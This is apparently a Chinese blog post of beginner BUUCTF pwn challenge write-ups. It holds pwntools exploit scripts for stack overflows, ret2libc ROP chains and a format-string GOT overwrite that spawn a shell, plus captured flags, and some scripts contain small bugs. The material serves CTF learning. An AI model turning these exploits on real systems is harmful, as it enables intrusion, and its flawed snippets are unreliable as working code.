BUUCTF-pwn[1]

6 篇文章 0 订阅


强制解锁命令:
sudo rm /var/lib/dpkg/lock-frontend
动态获取或释放IP地址
dhclient

完全基础题的记录,多来自buu,欢迎交流


01.nc

题目来源test_your_nc

nc node3.buuoj.cn 27527

然而好几次都不成功,那么也可以写payload,checksec test看64位,idashift F12找字符串

from pwn import *
m=remote('node3.buuoj.cn',27527)
binsh= 0x2004
payload= p64(binsh)
m.sendline(payload)
m.interactive()

solved
result

02.ret2text

首先checksec一下
在这里插入图片描述

32位

只开启了栈可执行保护

ida打开

查找/bin/sh在这里插入图片描述

binsh = 0x804863A

在这里插入图片描述

距离ebp的距离需要利用Ubuntu中gdb工具

gdb ./ret2text
在这里插入图片描述

因为存储读入的变量和到栈底的距离未知所以断点下在_gets

b *0x80486AE

别忘了再按r,报错不用管

在这里插入图片描述

借助变量s到esp的距离计算出s的地址

再计算变量s到esp的距离

用Python:

ebp = 0xffffcfd8

esp = 0xffffcf50

print hex(esp + 0x1c - ebp)

得到运算结果-0x6cL

所以需要填充0x6c个字符

至此,已经得到填充缓冲区的字符数为0x6c

system返回的/bin/sh程序地址为0x804863A

于是构造payload
Exp

from pwn import*
io = remote('xxxxxx.xx',28365)
binsh = 0x804863A
io.sendline('a'*(0x6c+4)+p32(binsh))
io.interactive()

python ret2text.py

cat flag

flag{5e22ee8d-07f0-4089-94c2-d5e14c84f331}


03.hello_pwn

来源nuaactf
首先拖到Ubuntu checksec一下
在这里插入图片描述
64位,只开启了栈可执行保护
64ida打开

ida 图标是Ada Lovelace 哄哄哄

在这里插入图片描述
几个函数点进去可以看到
在这里插入图片描述
基本上就是输入1853186401到dword_60106c
那么执行sub_400686于是cat flag.txt
我们有输入权限的unk_601068,我们输入c-8=4位就可以覆盖到dword_60106c
在这里插入图片描述
于是构造payload
Exp

from pwn import*
ma = remote("220.249.52.133",52432)
payload = 'a'*4 + p64(1853186401)
ma.sendline(payload)
ma.interactive()

python hello.py

cyberpeace{ec8ff6fef0bd58198cf3e64228e62cb4}
动态滴~

哦哦 !看到一种简单的输入方式
1853186401按r->nuaa
4位溢出(注意小端序)
所以
echo aaaaaaun | nc 220.249.52.133 52432
Finished


04.[第六章 CTF之PWN章]ROP

《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l

在这里插入图片描述64位,栈可执行保护

原理

  • 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果
    绕过保护,目前主要的是 ROP(Return Oriented Programming 返回导向编程)

    • 其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
  • 所谓 gadgets 就是以 ret 结尾的指令序列

    • 通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程
  • 之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。

  • ROP 攻击一般得满足如下条件

    • 程序存在溢出,并且可以控制返回地址。
    • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
    • 如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了

EXP

#书上对应章节例题,具体解释可以看书上对应章节的内容
from pwn import *
p=process('./rop')
elf=ELF('./rop')
libc = elf.libc
pop_rdi = 0x4005d3
puts_got = 0x601018
puts = 0x400430
main = 0x400537
rop1 = "a"*18
rop1 += p64(pop_rdi)
rop1 += p64(puts_got)
rop1 += p64(puts)
rop1 += p64(main)
p.sendline(rop1)
p.recvuntil('\n')
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - libc.symbols['puts']
info("libc:0x%x",libc_base)
pop_rax = 0x00000000000439c8 + libc_base
pop_rdi = 0x000000000002155f + libc_base
pop_rsi = 0x0000000000023e6a + libc_base
pop_rdx = 0x0000000000001b96 + libc_base
syscall = 0x00000000000d2975 + libc_base
binsh   = next(libc.search("/bin/sh"),) + libc_base
rop2 = "a"*18
rop2 += p64(pop_rax)
rop2 += p64(59)
rop2 += p64(pop_rdi)
rop2 += p64(binsh)
rop2 += p64(pop_rsi)
rop2 += p64(0)
rop2 += p64(pop_rdx)
rop2 += p64(0)
rop2 += p64(syscall)

p.recvuntil("hello\n")
p.sendline(rop2)
p.interactive()


05.rip

题目rip

checksec pwn1

64位elf
shift F12找字符串/bin/sh/
ctrl x找到后门函数地址

EXP

from pwn import *

m=remote('node3.buuoj.cn',25337)

binsh= 0x40118A

payload='a'*(0xf+8) + p64(binsh)

m.sendline(payload)

m.interactive()

solved
ctrl z是退出


06.warmup_csaw_2016

题目warmup_csaw_2016

checksec 2016
64位
shift F12
很直白
在这里插入图片描述
ctrl x查地址
在这里插入图片描述

EXP

from pwn import *

m=remote('node3.buuoj.cn',28297)

flag= 0x400611

payload='a'*(0x40+8) + p64(flag)

m.sendline(payload)

m.interactive()

07.pwn1_sctf_2016

题目pwn1_sctf_2016
在这里插入图片描述
s的空间3ch

replace做个交换,没太看得懂所以试一下

from pwn import *

m=remote('node3.buuoj.cn',27837)

get_flag= 0x08048F0D

payload='IIIyouyouyou'+'a'*4+p32(get_flag)

m.sendline(payload)

m.interactive()

result
那么确定replace做的是将‘I’换成‘you’,3ch刚好20个I

EXP

from pwn import *

m=remote('node3.buuoj.cn',27837)

get_flag= 0x08048F0D

payload='I'*20+'a'*4+p32(get_flag)

m.sendline(payload)

m.interactive()

08.ciscn_2019_n_1

题目ciscn_2019_n_1
在这里插入图片描述
直接覆盖到v2=11.28125就行
一开始这么想的但是我不晓得11.28125在内存中的16进制转换

if判断没阻拦那么直接找到cat/flag地址
EXP1

from pwn import *

m=remote('node3.buuoj.cn',25720)

flag= 0x4006BE

payload='a'*0x30+'a'*8+p64(flag)

m.sendline(payload)

m.interactive()

后来查的内存16进制(0x41348000)
在这里插入图片描述
光标放上会有

在这里插入图片描述
EXP2

from pwn import *

m=remote('node3.buuoj.cn',25720)

payload='a'*(0x30-0x4)+p64(0x41348000)

m.sendline(payload)

m.interactive()

09.ciscn_2019_c_1

题目ciscn_2019_c_1
在这里插入图片描述
在这里插入图片描述
binsh,system,syscall都没看到,所以需要自己构造ROP链。

利用ret2libc
一个函数反编译F5看一下,只有encrypt有用,gets读取没长度限制的可以利用,下面对s做各种操作
在这里插入图片描述
存在strlen()函数,该函数计算读入字符串的长度。并逐位加密,会破坏我们构造的payload。但是这个函数有空格就可以绕过即\0
那这题就可以利用已经用过的函数puts来泄露libc的基址,得出system和binsh的实际地址,然后gets溢出执行我们的system(/bin/sh)。

看下gadget
ROPgadget --binary ./ciscn_2019_c_1在这里插入图片描述有很多,找我们需要的就行:
Ubuntu18

题目部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐

用于栈对齐的ret;
ROPgadget --binary ./ciscn_2019_c_1 --only "ret"
在这里插入图片描述

64位程序第一参数的寄存器rdi
ROPgadget --binary ciscn_2019_c_1 |grep "pop rdi"

32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序。
RDI
RSI
RDX
RCX

pop rdi

from pwn import*
from LibcSearcher import*

r=remote('node4.buuoj.cn',28386)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
# lijust(8,‘\0’),不满8位的用0补足
print hex(puts_addr) 

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')#偏移量
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

r.sendlineafter('choice!\n','1')

payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

会找到两个版本libc,试一下,应该是2.27的
resultc1


10.jarvisoj_level0

题目level0

在这里插入图片描述
看不出名堂
checksec一下
在这里插入图片描述
64位只有NX
是来接济我的题555

在这里插入图片描述
这里read明显存在栈溢出,buf占0x80+8,但是可以写进去0x200
EXP

from pwn import *

m=remote('node3.buuoj.cn',25807)

binsh_addr=0x40059A

payload='a'*0x80+'a'*8+p64(binsh_addr)

m.sendline(payload)

m.interactive()

solved


11. [第五空间2019 决赛]PWN5

题目链接
参考原文链接

解题思路:利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入得到shell。这种方法具有普遍性,也可以改写后面的函数的地址,拿到shell。

EXP

from pwn import *
p=process('./pwn')
#p=remote('',)
elf=ELF('./pwn')

atoi_got=elf.got['atoi']
system_plt=elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})

p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

12.ciscn_2019_n_8

题目链接
checksec n8都开了
checksecn8
./n8有回显
ceshi
ida查看main函数 >

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
数组var的第14位是17就调用system("/bin/sh")

exp

from pwn import*

io=process("./n8")
#io=remote("node4.buuoj.cn",28651)

payload=p32(17)*14

io.sendlineafter('\n',payload)

io.interactive()

本地可以打通:
huixian


13.[OGeek2019]babyrop

题目链接

checksec
32位ida看伪代码,一句一句来看哈

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);//利用这个文件去创建随机数
  if ( fd > 0 )
    read(fd, &buf, 4u);//随机数写到buf,长度4字节
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

/dev/random和/dev/urandom是Linux系统中提供的随机伪设备,这两个设备的任务,是提供永不为空的随机字节数据流。很多解密程序与安全应用程序(如SSH Keys,SSL Keys等)需要它们提供的随机数据流。参考链接

函数①sub_804871F:
在这里插入图片描述
返回值为v5,但是并未赋值过

EBP(Base Pointer) 是栈帧基址指针寄存器,存放执行函数对应栈帧的栈底地址

  • 用于 C 运行库访问栈中的局部变量和参数

栈帧的边界由栈帧基地址指针 EBP 和堆栈指针 ESP 界定(指针存放在相应寄存器中)
EBP 指向当前栈帧底部(高地址),在当前栈帧内位置固定
ESP 指向当前栈帧顶部(低地址),当程序执行时 ESP 会随着数据的入栈和出栈而移动
因此函数中对大部分数据的访问都基于 EBP 进行。

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  //字节长0x20的字符串初始化给s,buf
  memset(&s, 0, 0x20u);
  //但是buf规定是7位数的数组
  memset(buf, 0, 0x20u);
  //s即上个函数生成的随机数
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  //如果buf与s的前v1位都相同就退出程序,那么使v1=0就可以绕过这个比较
  if ( strncmp(buf, &s, v1) )
    exit(0);  
  write(1, "Correct\n", 8u);
  return v5;
}

strncmp函数为字符串比较函数,字符串大小的比较是以ASCII 码表上的顺序来决定,此顺序亦为字符的值。其函数声明为int strncmp ( const char * str1, const char * str2, size_t n );功能是把 str1 和 str2 进行比较,最多比较前 n 个字节,若str1与str2的前n个字符相同,则返回0;若s1大于s2,则返回大于0的值;若s1 小于s2,则返回小于0的值。百度百科

strncmp遇到\x00截断绕过,strlen也是。

函数②sub_80487D0:

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);//0xc8 < 0xe7,执行这条,buf不会溢出
  else
    result = read(0, &buf, a1);//所以a1即v5要尽可能大,那么就0xff好了,覆盖到返回地址
  return result;
}

在这里插入图片描述
图知,函数②参数a1即函数①的v5,要让v5足够大,那么就要在函数①中产生溢出由我们给v5赋值,函数①要成功返回v5就必须绕过比较函数,用的方法是0截断。
string

题目名就是提示,binsh,system,syscall都没看到

ROP其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

使用ret2libc构造system("/bin/sh")函数,这里利用read函数作为中间跳板获得其他函数的真实值。可以看到read,write函数都是调用过的,所以got表中会有记录,再利用偏移量,来获得其他函数的真实地址。
ret2libcpayload = padding+write_plt+vul_addr+p32(1)+got[“read”]+p32(4)

最后整理一下思路,首先从栈图中可以看到,栈图v5接在buf[7]后面,利用buf溢出给v5赋值,buf数组第一位是写0截断,第8位是v5的。v5需要足够大在函数②中去溢出,所以给ff,这是第一个payload。
然后利用ret2libc去得到system,binsh在内存中的位置,这是第二个payload。
最后用system函数去覆盖返回地址,得到flag。
last
payload=padding+system_add+vul_addr+binsh_addr

Tips:Python默认是以ASCII作为编码方式的,如果在自己的Python源码中包含了中文(或者其他非英语系的语言),代码首行加上# -*- coding: UTF-8 -*-

exp:参考原文链接

# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",25241)
elf=ELF("./pwn")

payload1='\x00'+ 7 * '\xFF'         
p.sendline(payload1)
p.recv()

write_plt=elf.plt["write"]
read_got=elf.got["read"]
main_addr=0x08048825
payload2=b"A"*(0xe7+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)                              
p.sendline(payload2)
read_addr=u32(p.recv(4))//得到read在内存中的位置
print(hex(read_addr))

libc=LibcSearcher('read',read_addr)//找到所对应的库
base=read_addr-libc.dump("read")//偏移量
//加上偏移量得到system,binsh实际地址
system_addr=base+libc.dump("system")
str_bin_sh= base+libc.dump("str_bin_sh")

//真正开始
p.sendline(payload1)
payload3=b"A"*(0xe7+4)+p32(system_addr)+p32(1)+p32(str_bin_sh)
p.sendline(payload3)
p.interactive()

运行结果


14.32位栈溢出进阶

  • [OGeek2019]babyrop
  • get_started_3dsctf_2016

15.jarvisoj_level2

题目来源
基本信息
开了NX
在这里插入图片描述
直接调用了system,所以PLT表中会有正确地址(partial relro)
在这里插入图片描述

这里read()明显可以溢出

于是payload的构造思路:
把缓冲区填满,填入 system 函数的返回地址
构造一个 system 函数的返回的地址
然后填入 binsh 字符串的地址
payload=0x88*‘a’+‘bbbb’+p32(system_addr)+p32(1)+p32(binsh_addr)

那么system和shell地址可用pwntools的ELF查来的,也可以自己算去看这个参考博客
或者ida直接找plt表中的system
在这里插入图片描述system_addr=0x08048320
用ROPgadget找binsh字符串的地址
ROPgadget --binary ./level2 --string "/bin/sh"
在这里插入图片描述
binsh_addr=0x0804a024

下面的exp用的第一种方法

EXP

from pwn import*
io=remote('node4.buuoj.cn',27195)
elf=ELF("./level2")
sys_adr=elf.symbols["system"]
binsh_adr=next(elf.search("/bin/sh"))
payload=0x88*'a'+'bbbb'+p32(sys_adr)+p32(1)+p32(binsh_addr)
io.recvuntil("\n")
io.sendline(payload)
io.interactive()

16.ciscn_2019_en_2

题目来源

跟ciscn_2019_c_1一样
这个博客讲得很好了
在这里插入图片描述
也只开了NX
随便运行了一下
运行
在这里插入图片描述

大概就是加密解密,关键在encrypt()
encrypt()
gets(s)之后用strlen来比较,可以\0截断,防止对我们输入的rop造成改变。
shiftF12字符串查找,没有system和/bin/sh。
那么我们需要泄漏 libc 中某个函数的地址,算出偏移量,于是 system 的在这个程序中的地址就是对应版本库里的函数地址加上偏移量,同理找得到 /bin/sh 的地址,
再次执行程序后栈溢出执行 system("/bin/sh") 。


  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ca1m4n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值